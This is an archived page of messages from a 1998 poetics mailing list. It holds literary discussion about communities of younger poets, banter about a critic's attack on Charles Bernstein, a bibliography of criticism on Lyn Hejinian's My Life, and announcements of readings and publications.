Tender Buttons
PO Box 13, Cooper Station
New York, NY 10276

[redacted]

↑ Index

276. Judy Roitman
Re: the theory of fuzzy sets
Wed 11 Nov 1998

> *Reasonable challenge.*
>
> *i think RS means a group with as much of a program as **HIS** had…Also, one which incorporates (to his satisfaction) a further extension of the poetix and the politix of his grouping. But i agree with you, and am suitably chastened.*
>
> *abashedly,*
>
> *m.*

Just coming back on line today & here is the tail end of discussion about groups of young poets in odd places (what about Lawrence KS?) in the name of fuzzy sets. My oh my. What makes a poet young? a group a group? a program (this evening Miss Veronica Lake will be replaced in the role of the Swan Queen by Miss Betty Boop) a program? If a program is promised but doesn't exactly happen that way does it count? If you promise a program but wander off because something interesting seems to have come up do you have to get with the program anyway?

Judy the olde codger, far older in dog-years than her father.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----

http://www.math.ukans.edu/~roitman/

↑ Index

277. **Henry Gould**
Re: Re cog nize
Wed 11 Nov 1998

On Wed, 11 Nov 1998 10:40:38 -0500 Jordan Davis said:
>There are recognizable groupings of younger poets in San Francisco, New
>York, Philadelphia, Washington, Boston, Austin, Atlanta, San Diego, Los
>Angeles, Chicago, not to speak of Iowa City, Buffalo, and Providence. I
>mean, aren't there? I know why Ron from time to time makes the claim that
>there is no one following up the great work of his generation -- but Mark,
>why are you claiming it?

Yeah! The Providence grouping is about to publish a zillion-page anthology entitled "Under the Old Millennium Stream" - including substantial works by "young" poets Jack Spandrift, Merv Griffin, Eric Blarnes, Nari A. Wun, and many, many others! We are the coming ginkos! - Lorene Champietre

↑ Index

278. **Pritchett,Patrick**
Re: RENGA 32
Wed 11 Nov 1998

Sorry to respond to the List - my email program ain't working right. Pattie - please send me Rachel's RENGA 32. Address:2617 Juniper Avenue, Boulder, CO 80304. Check will go in the mail tomorrow.

Thanks!
Patrick Pritchett

↑ Index

279. **Gabriel Gudding**
David Kellogg, This is Feld on Bernstein
Wed 11 Nov 1998

---

1). "...Charles Bernstein, a sort of Clement Greenberg of the Language poets..."

2). "Bernstein is well-informed, jargony, willful, and impossibly self-important."

3). "(Reading him is like having Max Beerbohm's Enoch Soames rematerialize across the years.)"

4). "His essayistic style can be eerily like that of a corporate annual report's...."

5). "It was the novelist Dawn Powell who in her journals once noted that the avant-garde are usually would-be academics who, without enough wind in their sails, usually end up as stuffed shirts...."

↑ Index

280. Jordan Davis
groupies, gropings, groupings
Wed 11 Nov 1998

As if the only way writing could make a difference -- make a meaning -- was if its writers appeared as an army massed along the horizon -- on the periphery.

Anyway I omitted Honolulu, Boulder and a dozen other US cities not to speak of groups of younger writers in Vancouver, Ottawa, Toronto etc etc etc. Enough of us doing the CIA's work for them! Everybody stay secret a little while longer --

Jordan

↑ Index

281. David Kellogg
Re: David Kellogg, This is Feld on Bernstein
Wed 11 Nov 1998

From: Gabriel Gudding <[redacted]>

> *1). "...Charles Bernstein, a sort of Clement Greenberg of the Language poets..."*
>
> *2). "Bernstein is well-informed, jargony, willful, and impossibly self-important."*
>
> *3). "(Reading him is like having Max Beerbohm's Enoch Soames rematerialize across the years.)"*
>
> *4). "His essayistic style can be eerily like that of a corporate annual report's...."*
>
> *5). "It was the novelist Dawn Powell who in her journals once noted that the avant-garde are usually would-be academics who, without enough wind in their sails, usually end up as stuffed shirts...."*

I'll take the first two.

↑ Index

282. Maria Damon (Maria Damon)
Re: More on Hejinian
Wed 11 Nov 1998

---

front channel if possible; i too am teaching this text and want to suggest some 2ndary materials to my students. md

At 6:35 PM 11/10/98, Kathy Lou Schultz wrote:
>Okay Kids,
>I only received two responses to my query about critical material on _My
>Life_. (Thank you blessed souls!) More?
>
>I'm planning to use this book in a class I'm teaching at San Francisco
>State for the winter term, but have found it's backordered everywhere
>and not even available at the publisher. Help, Douglas! Is it true? I'd
>hate to xerox and deprive Sun & Moon of the sales. Suggestions
>appreciated.
>
>Thanks everyone,
>Kathy Lou Schultz

↑ Index

283. Maria Damon (Maria Damon)
Re: Last Call, Cornell Hire
Wed 11 Nov 1998

---

is this job only for assistant profs?

At 10:03 AM 11/11/98, Gabriel Gudding wrote:
>There have been very few applications for the new poetry hire at Cornell.
>
>If you know of anyone who has a book and who doesn't have a job, please
>TELL THEM.
>
>And tell them also to get their dossiers in the mail, with writing
>sample, cv, the whole bit.
>
>It doesn't matter if you're langpo, dingpo, or pungchow: all they want is
>a good writer who'll be able to teach grads and undergrads a variety of
>ways to write and to think about language, or to chew a cud if it helps
>them write interestingly.
>
>I would avoid statements about the nature of reality in your cover
>letters.

>
>We have a very lively, open, and friendly department. Unlike, god knows,
>many places. Please get the word out: a job's a job. Gaga

↑ Index

284. Mark Prejsnar
the theory of fuzzy sets
Wed 11 Nov 1998

Reasonable challenge.

i think RS means a group with as much of a program as **HIS** had...Also, one which incorporates (to his satisfaction) a further extension of the poetix and the politix of his grouping. But i agree with you, and am suitably chastened.

abashedly,

m.

On Wed, 11 Nov 1998, Jordan Davis wrote:

> *There are recognizable groupings of younger poets in San Francisco, New York, Philadelphia, Washington, Boston, Austin, Atlanta, San Diego, Los Angeles, Chicago, not to speak of Iowa City, Buffalo, and Providence. I mean, aren't there? I know why Ron from time to time makes the claim that there is no one following up the great work of his generation -- but Mark, why are you claiming it?*
>
> *Jordan*

↑ Index

285. Pierre Joris
Re: the theory of fuzzy sets
Wed 11 Nov 1998

It was George Bataille, and in his wake, Maurice Blanchot, who wrote about the "community of those who have no community." A fitting place it seems to me, tougher to handle than any old or young buddy netwrok.

Pierre

==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202

tel: [redacted]
fax: [redacted]
==========
Through the living the road of the dead
— Ungaretti
==========

↑ Index

286. **Pritchett,Patrick**
Re: More on Hejinian
Wed 11 Nov 1998

Hank Lazer's essay/review of _My Life_ appears in _Opposing Poetries, Vol. II_. Also, in a 1991 issue of Contemporary Literature (can't recall the vol. # off-hand) there's a piece by David Jarraway (who may be on this list) on same. Both are excellent considerations of LH's work.

Patrick Pritchett

↑ Index

287. **Gary Sullivan**
Re: nyc people! may i borrow "code poems"
Wed 11 Nov 1998

Wendee! I have one you can borrow. Also, Eep!, I still have that copy of JAB for you. --Gary

> *-----Original Message-----*
> *From: UB Poetics discussion group*
> *[mailto:[redacted]]On Behalf Of WENDY KRAMER*
> *Sent: Tuesday, November 10, 1998 7:35 AM*
> *To: [redacted]*
> *Subject: nyc people! may i borrow "code poems"*
>
> *hello, out there it's wendy kramer. does anyone in new york city have a copy of hannah weiner's Code Poems that i could borrow?*
>
> *please backchannel*
>
> *gratefully in advance*
>
> *wendy*

↑ Index

288. **Judy Roitman**
Re: the theory of fuzzy ron
Wed 11 Nov 1998

> *On Wed, 11 Nov 1998, Judy Roitman wrote:*
>
> *If you promise a program*
> *but wander off because something interesting seems to have come up do you*
> *have to get with the program anyway?*
>
> *That's where the "fuzzy" comes in...*
>
> *By the by, you should note that all the stuff yer making fun of, i*
> *attribute to RS, not myself. So (whether i'm being accurate or not) i*
> *think you should go mock *him* !!*
>
> *fuzzily,*
> *m.*

Hi, Mark. I wasn't mocking you. Your message just happens to have been the one I saw just before replying.

(a private message)

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

↑ Index

289. **MAYHEW**
Re: the theory of fuzzy sets
Wed 11 Nov 1998

What about Lawrence, Kansas? Where the citizens translate John Ashbery into Ancient Greek to recite in choral festivals? Where 8 foot tall boys throw balls into 10 foot tall hoops?

We do probably have more subscribers to the list, per capita, then anywhere else. (Maybe Iowa City is in the running.)

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
Lawrence, KS 66045
[redacted]

↑ Index

290. Pritchett,Patrick
need address
Wed 11 Nov 1998

---

for Elizabeth Robinson of Berkeley. Snail mail preferred. Back-channel, please.

Thanks,
Patrick Pritchett

↑ Index

291. Burt Kimmelman
Re: More on Hejinian
Wed 11 Nov 1998

---

i sent something backchannel and then deleted it after sending. maybe kathy can forward it to the list. (sorry. but i don't have time to re-keystroke it at present.)

burt

↑ Index

292. Mark Prejsnar
the theory of fuzzy ron
Wed 11 Nov 1998

On Wed, 11 Nov 1998, Judy Roitman wrote:

If you promise a program
> but wander off because something interesting seems to have come up do you
> have to get with the program anyway?
>

That's where the "fuzzy" comes in...

By the by, you should note that all the stuff yer making fun of, i attribute to RS, not myself. So (whether i'm being accurate or not) i think you should go mock *him* !!

fuzzily,
m.

↑ Index

293. **MAYHEW**
Re: David Kellogg, This is Feld on Bernstein
Wed 11 Nov 1998

By the way, who is "the novelist Dawn Powell"? Who is Feld? He is identified only as a novelist and poet in the contributors note in _Parnassus_.

Jonathan

↑ Index

294. **Pritchett,Patrick**
Left Hand Reading Series, etc.
Wed 11 Nov 1998

Wednesday, November 18, at 9:00 PM, the Left Hand Reading Series will present ANNE WALDMAN & MICHAEL FRIEDMAN.

Left Hand Books is located at 1825 Pearl Street in Boulder, btwn 18th & 19th Streets. For more info, call Mark DuCharme at [redacted] or Patrick Pritchett at [redacted]. "We got game."

Other Events in Boulder for November American Poet Greats Lecture Series presents LISA JARNOT speaking on Robert Duncan's _The Opening of the Field_ at Boulder Bookstore, Tuesday, Nov. 17 at 7:30 PM. Hosted by Jim Cohn. "He who does not enter the dance, mistakes the Event."

KENWARD ELMSLIE will appear at the Boulder Museum of Contemporary Art on Thursday, Nov. 19 at 7:00 PM. "Barcalounger Madness. Oh, to be in Tun-bridge Wells."

↑ Index

295. **John Latta**
Re: the theory of fuzzy sets
Wed 11 Nov 1998

On 11 Nov 1998 Pierre Joris wrote:

> *It was George Bataille, and in his wake, Maurice Blanchot, who wrote about the "community of those who have no community." A fitting place it seems to me, tougher to handle than any old or young buddy netwrok.*

Willful outsiders, yes. I like to think in terms of ecological systems, those communities, and points of overlap and mesh. Any field biologist will tell you that the places of highest interest are always found on the edges of things--the hedgerow, the tidal pool, the estuary, the canopy.

John Latta

↑ Index

296. **Erik Sweet**

Robots in Poetry/community

Wed 11 Nov 1998

I am wondering why in all the talk about community all you peoples
out there will not recognize the
"community " of robot poets out there?

I mean, I have a robot in my house right now cleaning my oven and it is upset as hell about poets not recognizing what robots have contributed to the whole of poetry.

Erik Sweet, Albany, New York.

↑ Index

297. **P.Standard Schaefer**

Re: the theory of fuzzy sets

Wed 11 Nov 1998

In a message dated 98-11-11 13:16:14 EST, you write:

<<
Willful outsiders, yes. I like to think in terms of ecological systems,
those communities, and points of overlap and mesh. Any field biologist
will tell you that the places of highest interest are always found on the
edges of things--the hedgerow, the tidal pool, the estuary, the canopy.
>>

I'm partial to Spicer's UMVERTS, people with no place to turn.

↑ Index

298. **Keith Tuma**

Re: David Kellogg, This is Feld on Bernstein

Wed 11 Nov 1998

> *1). "...Charles Bernstein, a sort of Clement Greenberg of the Language poets..."*

1. Ross Feld, a fart of cement spleenurge for Marge Scott's hopes. . .

> *2). "Bernstein is well-informed, jargony, willful, and impossibly self-important."*

2. Feld is mostly locked in stewing, hasn't read a poet he likes in decades, faux-virtuoso and spillful, impossibly Cincinnati, awaiting the apocalypse to usher in American pose-try.

> *3). "(Reading him is like having Max Beerbohm's Enoch Soames rematerialize across the years.)"*

3. Reading him is like having Richard Howard's curios barked at as icons.

> *4). "His essayistic style can be eerily like that of a corporate annual report's...."*

4. His essayistic style is a Soccer Dad in December, ready to forfeit to get his ass out of the rain.

> *5). "It was the novelist Dawn Powell who in her journals once noted that the avant-garde are usually would-be academics who, without enough wind in their sails, usually end up as stuffed shirts...."*

It was Keith Tuma who said that he wished he didn't have to work either.

> *I'll take the first two.*

I'll say that I'm tired of having this essay pass for critique or wit. RF's surly little noodle is neither, though at least the attack on Rothenberg and Joris is offered some context. Buffalo's beef deserves a better slice off the flank. CB's successful and his prose academic? (That's the point, save your dollars, campers.) Lions and tigers and fieldmice! (Shows you how much academic prose Feld has been reading too.) I suppose it's not as bad as the woman in the same number who pronounces Loy anti-semitic and then refuses to explain or defend the charge.

KT

↑ Index

299. Lisa Trank
Kenward Elmslie Reading at Naropa
Wed 11 Nov 1998

ATTENTION!!

KENWARD ELMSLIE will also be appearing at Naropa on Saturday, November 21 at 8pm, Shambhala Hall, 2130 Arapahoe Avenue, Boulder, CO. FREE

↑ Index

300. david bromige
targeting Silliman and Bernstein
Wed 11 Nov 1998

You dont make an omelet w/o cracking some eggs. For CB and RS (and the half-generation-older Bowering in Canada) to push thru what they did, certain character traits were required, Ross Feld--whoever YOU may be. The amount of work each did--in their writings both critical and poetic--but also as tireless organizers, advocates, encouragers, teachers,collaborators, anthologists--inspires awe in me, which takes precedence over envy of their energies and well-earned reputations (and huge fortune, in Bowering's case). If it bugs you, go thou & do likewise. Otherwise, where's your gratitude? Isn't this List a great notion? Of CB's? Ain't this community? Because Ron S remarks an instance of community in NYC, does he need to list all the other instances, Chris? Godknows this List needs your feistiness--the world needs it!--hey man, you _know_ I'm your fan--but sheesh....

I guess the resentment is only to be expected. The figures who preceded the generation with whom I felt affiliated, who towered over us a spell, did not forever meet with our unqualified approval. From below (so to speak), their armor appeared impenetrable. Knives wouldnt serve; plastique alone might do the job. Let's have a moment of silence to remember that parricide is commonly botched. (Was it Harold Bloom who didn't put it that way?)

I like the listing of places where there is active poetry community, of youngsters or otherwise. This is the best answer, eh? I'm glad Roitman and Mayhew reminded us of Lawrence, KS; I was about to do so myself. --Was Seattle mentioned? San Diego? Tucson? (I erased those posts too quickly). We had one here in west Sonoma Co for quite a while, not allied by a shared vision of the poem, but by isolation and its geography; it aged and wearied, and the young who we needed to carry it on, well I don't know where they are. I miss it,--although I had plenty of complaints about it when it existed.

David

↑ Index

301. ken|n|ing
Re: More on Hejinian
Wed 11 Nov 1998

Lisa Samuels has a piece arguing for My Life's canonization in MLA, forget vol. or no. but is fairly recent. Also, Rosmarie Waldrop in Poetics Journal #5, I think, "Chinese Windmills Turn Horizontally" And it is very much out of

print & tough to lay hands on -- I've been trying for a month or so without luck. Patrick F. Durgin

|
|
k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

↑ Index

302. **KENT JOHNSON**

Re: stevens again

Wed 11 Nov 1998

On 11 Nov. Henry Gould wrote:

> *It's amazing to watch Stevens packaged in these cute little ideologically-correct nutshells based on a quick summary of his point-of-view. Stevens' whole life's work in poetry is a continual musing ABOUT the relations between reality and imagination - not a fixed attitude or program.*

Henry:

I agree with that last sentence as it stands, but would say that even though Stevens' musings don't amount to any kind of set polemic, they certainly do reveal certain philosophical predispositions that shape the poetry in interesting ways-- not to mention the often didactic aphorisms of _The Necessary Angel_. Yes, my "apartheid" trope was merely cute and ridiculously reductive. But the fact of the matter is that I have suffered what appears to be a nervous breakdown becasue of this List, and being nettlesome and nutty with ideological nutshells is a way of dealing with it.

Be that as it may, I virtually love you Henry, so I want you to realize, and badly, that I am not just a simpleton so presumptuous as to dismiss Stevens as a George Berkeley wannabe. A few years ago I wrote an essay called "Prosody and the Outside: Some Notes on Rakosi and Stevens.," which was printed in _Carl Rakosi: Man and Poet_, edited by Michael Heller. (_Contemporary Literature_ was going to print it too, but I wouldn't add a totally unnecessary section they were insisting on, so screw them.) In this essay I propose in a rather impressive way (though with sufficient qualifications to give myself a way out if necessary) that the closures of Stevens' prosody are an enactment of his privileging of imaginative space over and against the "outside." Here is a section that leads into that discussion so to give you an idea of what lay behind my rather zany Stevens/Spicer comparison of yesterday. I hope those of you still

reading will not mind the unusual act of quoting one's own old grad-student prose:

"...To an important extent, such personal and poetic relationships [between Stevens and Rakosi] make sense in light of a significant affinity Stevens _does_ share with major poets in the Poundian or "ideogrammic" line. For Stevens, as with poets like Williams, Zukofsky, George Oppen, Charles Olson, Robert Duncan, Creeley, and Rakosi, poetry is, centrally, an agency of epistemological investigation, where composition moves beyond narrative summaries of personal experience or emotional state to become a reflexive engagement with the mutual mediations of language and thought. Nevertheless, the underlying philosophical _premises_ of the investigation, as well as the results, are fundamentally different in Stevens than they are in the other poets mentioned above: In Stevens - and in line with the idealist foundations of symbolist poetics - experiential phenomena are beholden to, and encompassed by, the mind's creative acts; in the poets of the ideogrammic tradition, mind commits itself to, and finds a place within, the given configurations of phenomenal experience.If Stevens epitomizes hte Coleridgean ideal of the imagination dispensing value and form to an unordered reality, poets in the "anti-Symbolist" tradition see poetic possibility as immanent in what is "other." As Albert Gelpi puts it, in the one "consciousness commits object to subject"; in the latter, consciousness commits subject to object." etc...

Now I'm sure that the above is run through with all sorts of ideology I am blind to. But I _have_ tried to think about these things in ways beyond nutshell tossing. OK, you Angus bull?

Kent

↑ Index

303. **Pritchett,Patrick**
Re: More on Hejinian
Wed 11 Nov 1998

Also, Juliana Spahr did a piece on LH's work in a recent volume of DLB - I forget now which one. Joseph Conte, please to refresh?

Almost helpful,
PP

↑ Index

304. **Tom Orange**
hannah, community, generation
Wed 11 Nov 1998

---

near the end of charles' presentation, he read and commented on a line from hannah's work that spoke to the relation of a poetics to the "new" or "next generation." i failed to note the exact wording or the source -- charles do you have these handy?

thanks,

t.
[redacted]

↑ Index

305. **miekal and**
Re: groupies, gropings, groupings
Wed 11 Nov 1998

---

if anything this thread about answering to ron s's missive why be there nobody as significant as the language pod needs to

be

turned

on

its head

ron should be begging to have the
l-a-n-g-u-a-g-a-s-a-u-r-o-u-s
to be relevant among all the many collectives of poetics active
now active now

ezra proletarian

↑ Index

306. **miekal and**
hw yet to appear
Wed 11 Nov 1998

---

just wanted to insert into the hannah thread, dont remember who, but someone wondered what hannah work was yet to appear:

we've a set of visual neologisms that hannah gave xexoxial years ago. they never appeared because she wanted them to appear as round cards, & being

the lowtech nomoney outfit that we are, were never able to figure out how to die cut such a thing--

so anyway Im working them up for the web

theyre called ABAZOO

at the time she gave them to us they were unpublished, perhaps leeann or someone else out there might know if they have appeared in the meantime.

also if anyone has an idea how to produce a deck of nine (I believe) round cards, xexoxial would love to copublish it...

miekal

↑ Index

307. Melanie Bookout
Re: David Kellogg, This is Feld on Bernstein
Wed 11 Nov 1998

At 12:22 PM 11/11/98 -0600, you wrote:
>>
>>>1). "...Charles Bernstein, a sort of Clement Greenberg of the Language
>>>poets..."
>
>1. Ross Feld, a fart of cement spleenurge for Marge Scott's hopes. . .
>
>>>2). "Bernstein is well-informed, jargony, willful, and impossibly
>>>self-important."
>
>2. Feld is mostly locked in stewing, hasn't read a poet he likes in
>decades, faux-virtuoso and spillful, impossibly Cincinnati, awaiting the
>apocalypse to usher in American pose-try.
>
>
>>>3). "(Reading him is like having Max Beerbohm's Enoch Soames rematerialize
>>>across the years.)"
>
>3. Reading him is like having Richard Howard's curios barked at as icons.
>
>>>4). "His essayistic style can be eerily like that of a corporate annual
>>>report's...."
>
>4. His essayistic style is a Soccer Dad in December, ready to forfeit to

>get his ass out of the rain.
>
>
>>>5). "It was the novelist Dawn Powell who in her journals once noted that
>>>the avant-garde are usually would-be academics who, without enough wind in
>>>their sails, usually end up as stuffed shirts...."
>
>It was Keith Tuma who said that he wished he didn't have to work either.
>
>
>>I'll take the first two.
>
>I'll say that I'm tired of having this essay pass for critique or wit.
>RF's surly little noodle is neither, though at least the attack on
>Rothenberg and Joris is offered some context. Buffalo's beef deserves a
>better slice off the flank. CB's successful and his prose academic?
>(That's the point, save your dollars, campers.) Lions and tigers and
>fieldmice! (Shows you how much academic prose Feld has been reading too.)
>I suppose it's not as bad as the woman in the same number who pronounces
>Loy anti-semitic and then refuses to explain or defend the charge.
>
>KT
>
>And to Mr. Tuma, many thanks.

Melanie Bookout

↑ Index

308. **henry**
Re: stevens again
Wed 11 Nov 1998

Well sent, old Kent. & you know I love you too, & my abrasiveness on occasion is not personal, but preposterotestosteronal, in a eunucyclic way, & persnickety - I know how nice you are, & what an old lech & young Reader you are, & etc. etc. & you know I donated my virtual body to science & forgot to include SASE, so forgive me.

We could honk about S-v-s all day, & I might say well most of his poems seem to be trying dramatically to clear a space of old debris to SEE what's really immanent out dere, so anyway, whatever whichaway you wanna ideogrammatize your Names of the Modernist Heroes is fine with me.

- Henry "the Plasma" Gould

↑ Index

309. Burt Kimmelman

LH's My Life (Kathy forgive me for not asking you first but I can't keystroke all this again and people wanted to have the info.)

Wed 11 Nov 1998

From: MX%"[redacted]" "Kathy Lou Schultz" 11-NOV-1998 13:55:17.18
To: MX%"[redacted]"
CC:
Subj: Re: my life

Date: Wed, 11 Nov 1998 10:54:11 -0800
From: Kathy Lou Schultz <[redacted]>
To: "Burt Kimmelman [redacted]" <[redacted]>
Subject: Re: my life

Burt you're a prince among men.
Thanks!
KL

Burt Kimmelman [redacted] wrote:
>
> kathy,
>
> do you have these (culled from the MLA Bibliography):
>
> by LH:
> The Rejection of Closure, in Writing/Talks. Perelman, Bob (ed),
> So Illinois UP, 1985.
>
> Spahr, Juliana. Resignifying Autobiography: Lyn Hejinian's My Life.
> American Literature. 68(1):139-59. 1996 Mar. Durham, NC.
>
> Dworkin, Craig Douglas. Penelope Reworking the Twill: Patchwork, Writing,
> and Lyn Hejinian's My Life.
> Hejinian's Contemporary Literature. 36(1):58-81. 1995 Spring. Madison,
WI.
>
> Jarraway, David R.
> My Life through the Eighties: The Exemplary LANGUAGE of Lyn Hejinian.
> Contemporary Literature. 33(2):319-36. 1992 Summer. Madison, WI.
>

> Clark, Hilary.
> The Mnemonics of Autobiography: Lyn Hejinian's My Life.
> Biography-An Interdisciplinary Quarterly. 14(4):315-35. 1991 Fall.
>
> Gillespie, Dennis Patrick.
> Augustine and America: Five Contemporary Autobiographical Works.
> Dissertation Abstracts International. 49(7):1801A-1802A. 1989 Jan.
>
> Good luck,
>
> Burt Kimmelman
> Department of Humanities and Social Sciences
> New Jersey Institute of Technology, Newark, NJ 07102
> [redacted] (p) [redacted] (f)
> [redacted] (e) http://eies.njit.edu/~kimmelma (i)

↑ Index

310. **louis stroffolino**
Re: COMMUNITY CHEST
Wed 11 Nov 1998

I guess the humour gets lost.
Did it really come off cranky? (David kellogg)
Was it really an "outburst"?
Did it really bespeak resentment? (Mark Presjnar and David Bromige?)

I must come off like an ungrateful ogre
(by the way david k. the proper spelling is "click")
or killjoy or something....

I like people, and am glad to see them digging each other
(thus saith the politician) and really have nothing against
the community that gathered in honor of HW....

I guess I was trying to use Ron's comment--which I found
(unintentionally?) funny--as a jumping off point to discuss
what people mean by community...

So it backfires.
So it doesn't goad Silliman into responding
So "Community" remains a vaguely defined word....

chris

↑ Index

311. Rachel Blau DuPlessis
Re: Self-Promotion
Wed 11 Nov 1998

Thans to Sehila and Karen for asking more about the Oppen letters. You can call the order to [redacted] or FAX the order to 1-888-[redacted]. The item number is Dupgep and the price is $7.25 with a charge of $4.00 for one or two copies, but only .50 for copies after that. I think $4. is steep, but it brings the total to only about half of what it was at list, and believe me--it's a great read. I'd love to hear any reactions. Duke is waiting to hear from the Poetic Folk. warm regards to listees, Rachel
==========
Rachel Blau DuPlessis
Temple University
Philadelphia, PA 19122
[redacted]

↑ Index

312. KENT JOHNSON
Free reading=Interview
Wed 11 Nov 1998

Gabe:

I will waive my usual $1000 reading fee IF you will set me up with an interview for the Poetry position at your university. It is unusual for me to even _come down_ on my honorarium fee (it creates tensions with my agent), so I hope you and others there in the city-state of Ithaca will see that this is quite a deal. In fact, I will even use, to get there, the wax wings my father made for me, so no transportation costs either.

Kent

↑ Index

313. charles alexander
hannah weiner tribute
Wed 11 Nov 1998

I just went through poetics archive of messages to see what people have said about the event. It was quite a treat to be there and participate and see everyone and meet new people. One thing striking was how getting the multidirectional presentations of Hannah offered such a rounded picture of her in words,

images, and sound. Thanks to all of you who were part of that -- organizers, presenters, and audience.

charles

↑ Index

314. Pattie McCarthy
Re: New Poetry Magazine (via Philadelphia)
Wed 11 Nov 1998

---

if interested in ordering the first issue of p H
the snail-mail address is :
p H
c/o Pattie McCarthy
20 Scott Ct
Wayne PA 19087

or e mail : [redacted]

thanks & apologies for the omission of this information earlier --Pattie .... The editors of the new, Philadelphia-based poetry magazine p H are pleased to announce the publication of issue #1, earShot, featuring :

New Poetry by:
Gregg Biglieri
Ann Simon
Rod Smith
Cole Swenson
and Ryan Whyte

experimental fiction by Pamela Lu,

a poetic metaphysicalspeculation
and color copy of a postcard collage by Bill Luoma,

and a review of Rachel Blau DuPlessis's RENGA: Draft 32, by Nicole Markotic.

To order, or for more information/samples, please E-mail: [redacted]. Copies of the issue are available for $3 (postage included). (Pls make checks payable to Pattie McCarthy).

↑ Index

315. Maria Damon
help quick sos on usop
Wed 11 Nov 1998

---

hi all, i've misplaced my info on how to order the United States of Poetry video, which my students want (holiday season coming up and all). does anyone have the 800 number for KQED or KPFA or whoever did it? thanks. class meets tmw at 11:15 central time. bests to all --md

↑ Index

316. Karen and Trevor
Re: First Annual Asian American Writer's Awards
Wed 11 Nov 1998

To jump on the heels of this one, Mei-mei's book, Endocrinology, is available through Small Press Distribution in Berkeley. Also, Kelsey St. Press has recently published Mei-mei's newest book, Four Year Old Girl, which represents about 10 years of her writing. It really is a major book, and also available from SPD. Richard Tuttle did the cover art.

Timothy Liu wrote:
>
> On Monday, November 16 at 8 p.m., the Asian American Writer's
> Workshop will hold its first awards night, honoring Mei-Mei Bersenbrugge
> (for ENDICRONOLOGY) and Lois-Ann Yamanaka for work published in
> 1997. Other guests and readers will include David Henry Hwang,
> Jessica Hagedorn, Lawrence Chua, Indira Ganesan and Timothy Liu. The
> event will take place at the Joseph Papp Public Theatre in NYC, and a
> few remaining tickets can be purchased by calling [redacted].

↑ Index

317. Kathy Lou Schultz
Re: After they've seen the Pah'ree Commune (iteee)
Wed 11 Nov 1998

Who says there are no recognizable groups of younger poets in the U.S.? San Francisco is a hotbed of activity of "younger" poets (are we talking under 45 here?). Also, what about NYC? Buffalo? LA? and anyone else I've forgotten to mention. Many magazines and presses in SF are generating a lot of interest and energy, e.g. Double Lucy/Outlet, Tripwire, Idiom, my own Lipstick Eleven, etc. and etc. "Group," I recognize thee! Kathy Lou

↑ Index

318. Kathy Lou Schultz
Re: Re cog nize
Wed 11 Nov 1998

Ditto!
KLS

Jordan Davis wrote:
>
> There are recognizable groupings of younger poets in San Francisco, New
> York, Philadelphia, Washington, Boston, Austin, Atlanta, San Diego, Los
> Angeles, Chicago, not to speak of Iowa City, Buffalo, and Providence. I
> mean, aren't there? I know why Ron from time to time makes the claim that
> there is no one following up the great work of his generation -- but Mark,
> why are you claiming it?
>
> Jordan

↑ Index

319. Kathy Lou Schultz
Hejinian front channel
Wed 11 Nov 1998

Thank you each and every one (Joel, Ted, Lisa, Patrick, Patrick, and etc.)! For this list's pleasure, a compilation of work on _My Life_ to add to Burt's Hherculean effort. This list is lovely, lovely, lovely. Kathy Lou

Wakoski's review of My Life
Sulfur 8, p.205-208

an article by craig dworkin in contemporary literature 36
#1 (pp 58-81)

Pierre Joris. . . his gloss on_My Life_ in Poems
for the Millenium has some good quotes from Michael Davidson

Hank Lazer's essay/review of _My Life_ appears in _Opposing Poetries,
Vol.
II_. Also, in a 1991 issue of Contemporary Literature (can't recall the
vol.
offhand) there's a piece by David Jarraway

Rosmarie Waldrop in
Poetics Journal #5, I think, "Chinese Windmills Turn Horizontally"

Juliana Spahr did a piece on LH's work in a recent volume of DLB

Modern Language Studies,
Spring 1997, the "Poetry and the Problem of Beauty" issue. "Eight Justifications for Canonizing My Life" by Lisa Samuels

↑ Index

320. Susan Wheeler
CalArts and ----------
Wed 11 Nov 1998

On behalf of all those in New Hampshire tending ailing ma's in underground houses a thousand thanks for the Hannah Weiner tribute recaps.

And a question. Would someone with knowledge of CalArts' program(s) backchannel me? A former student is considering applying and I've got a question about the set-up. Many thanks.

Susan
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

321. Edward Fristrom
Re: After they've seen the Pah'ree Commune (iteee)
Wed 11 Nov 1998

Mark Prejsnar wrote:

> *This exchange sure suggests something that the list could ponder with profit...*
>
> *Even David's reply to Chris's outburst drags in some of the same ressentiment...(fingers in pies, cannibal cliches)*
>
> *Maybe this is the answer to RS's by now infamous challenge: the reason*
> *there are no recognizeable groupings of younger poets on the U.S. scene*
> *is, they're all too busy resenting their slightly-elder compatriots in*
>
> *this madly fuming way! That seems to use up most of their verve.*

Speaking as a member of said groupless younger poets of america (is that a recognizeable group?), I find it difficult to see this as a serious pattern, the fuming part that is. I'm not saying we don't fume. I'm saying we don't all fume about elder compatriots. We fume about my slightly-younger compatriots. We fume

about slightly besides-myselves-compatriots and we fume about whoever it was we were last year or in the last ten minutes. And me, I fume when my espresso machine doesn't make foam properly.

I do think there is a kind of grouplessness however. Perhaps not in a bad way. . . certainly not in a way worth complaining about. The difference struck me, a couple of weeks ago when I went to Joris and Rothernberg's Poetry for the Millenium reading out here in Albany. It struck me that in this ecclectic and diverse reading, I was surprised by the fact that most of the people THERE (as opposed to most of the people in the anthology) knew each other fairly well. Pierre, Rothenberg, Chuck Stein, Don Byrd, Robert Kelly, etc. and people were talking afterward, reminiscing how some of them knew each other from as far back as high school. This is not a sign of cliquishness, I don't think. Poetry readings naturally follow some kind of network of affinities and proximities. There's travel expenses, to think about. Who you can live with, to think about. It was a fine reading all around.

